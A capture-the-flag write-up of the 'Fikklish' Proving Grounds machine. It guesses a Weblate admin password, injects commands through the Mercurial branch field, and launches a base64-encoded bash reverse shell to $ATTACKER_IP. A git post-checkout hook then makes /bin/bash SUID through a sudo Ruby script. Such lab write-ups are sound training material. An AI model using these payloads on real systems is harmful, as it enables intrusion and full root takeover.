Skip to content

Fikklish Writeup - Proving Grounds

Hard Linux

Created October 8, 2026 • Last updated October 8, 2026 • 2 min read

Fikklish hosts a bookstore site next to a Weblate 4.11 translation platform. A featured author's name on the bookstore doubles as the Weblate admin password, and Weblate's Mercurial VCS integration passes the branch field straight to hg, giving an authenticated command injection for a shell as tom. A sudo-permitted Ruby script that runs git checkout as root is then hijacked with a malicious post-checkout hook.

Reconnaissance

Nmap

Scan all ports.

┌──(kali㉿kali)-[~]
└─$ nmap -sT -sV -sC -p- --open $TARGET_IP
22/tcp   open  ssh   OpenSSH 8.9p1 Ubuntu 3
80/tcp   open  http  Apache httpd 2.4.52 (Ubuntu)
8000/tcp open  http  WSGIServer 0.2 (Python 3.10.12) - Weblate

Port 80 is a bookstore site, "Book Bargains Online", with featured books and authors. Port 8000 runs Weblate 4.11; its robots.txt discloses admin and source-control paths.

Exploitation

Social engineering the admin password

One of the featured authors is Audrey Niffenegger. The Weblate admin password turns out to match her last name: admin:$ADMIN_PASSWORD.

Weblate authenticated RCE (Mercurial command injection)

Weblate 4.11 passes the Repository branch field unsanitized to hg commands when a component uses the Mercurial VCS backend. Create a project, then a malicious component.

Project name: poc
URL slug: poc
Project website: http://localhost

Version control system: Mercurial
Source code repository: http://localhost:8000
Repository branch: --config=alias.pull=!echo <base64-revshell>|base64 -d|bash
┌──(kali㉿kali)-[~]
└─$ echo "/bin/bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1" | base64
<base64-encoded-payload>
┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT

Clicking Continue on the malicious component triggers hg with the injected config, and the listener catches a shell as tom.

Privilege Escalation

Git post-checkout hook via sudo checkout.rb

Check sudo permissions.

┌──(kali㉿kali)-[~]
└─$ sudo -l
User tom may run the following commands on fikklish:
    (ALL) /home/tom/checkout.rb
    (ALL) /home/tom/fetch.rb

The script initializes a git repo from user input and checks out a branch, both as root.

#!/usr/bin/ruby
require 'git'

puts "Name of the project: "
name = gets
g = Git.init('/root/projects/' + name.chomp)

puts "Location of branch: "
branch = gets
g.checkout(branch.chomp)

Path traversal in the project name points Git.init at a directory we control, and when git checkout fires it runs any post-checkout hook in that repo, as root.

┌──(kali㉿kali)-[~]
└─$ cd /home/tom
┌──(kali㉿kali)-[~]
└─$ rm -rf pwn && mkdir pwn && cd pwn
┌──(kali㉿kali)-[~]
└─$ git init
┌──(kali㉿kali)-[~]
└─$ echo "trigger" > trigger.txt
┌──(kali㉿kali)-[~]
└─$ git add trigger.txt
┌──(kali㉿kali)-[~]
└─$ git commit -m "trigger"
 
┌──(kali㉿kali)-[~]
└─$ cat > .git/hooks/post-checkout << 'EOF'
#!/bin/bash
chmod u+s /bin/bash
EOF
┌──(kali㉿kali)-[~]
└─$ chmod +x .git/hooks/post-checkout
┌──(kali㉿kali)-[~]
└─$ sudo /home/tom/checkout.rb << EOF
../../home/tom/pwn
master
EOF

The hook fires as root and sets the SUID bit on /bin/bash.

┌──(kali㉿kali)-[~]
└─$ /bin/bash -p
bash-5.1# id
uid=1000(tom) gid=1000(tom) euid=0(root) groups=1000(tom)

References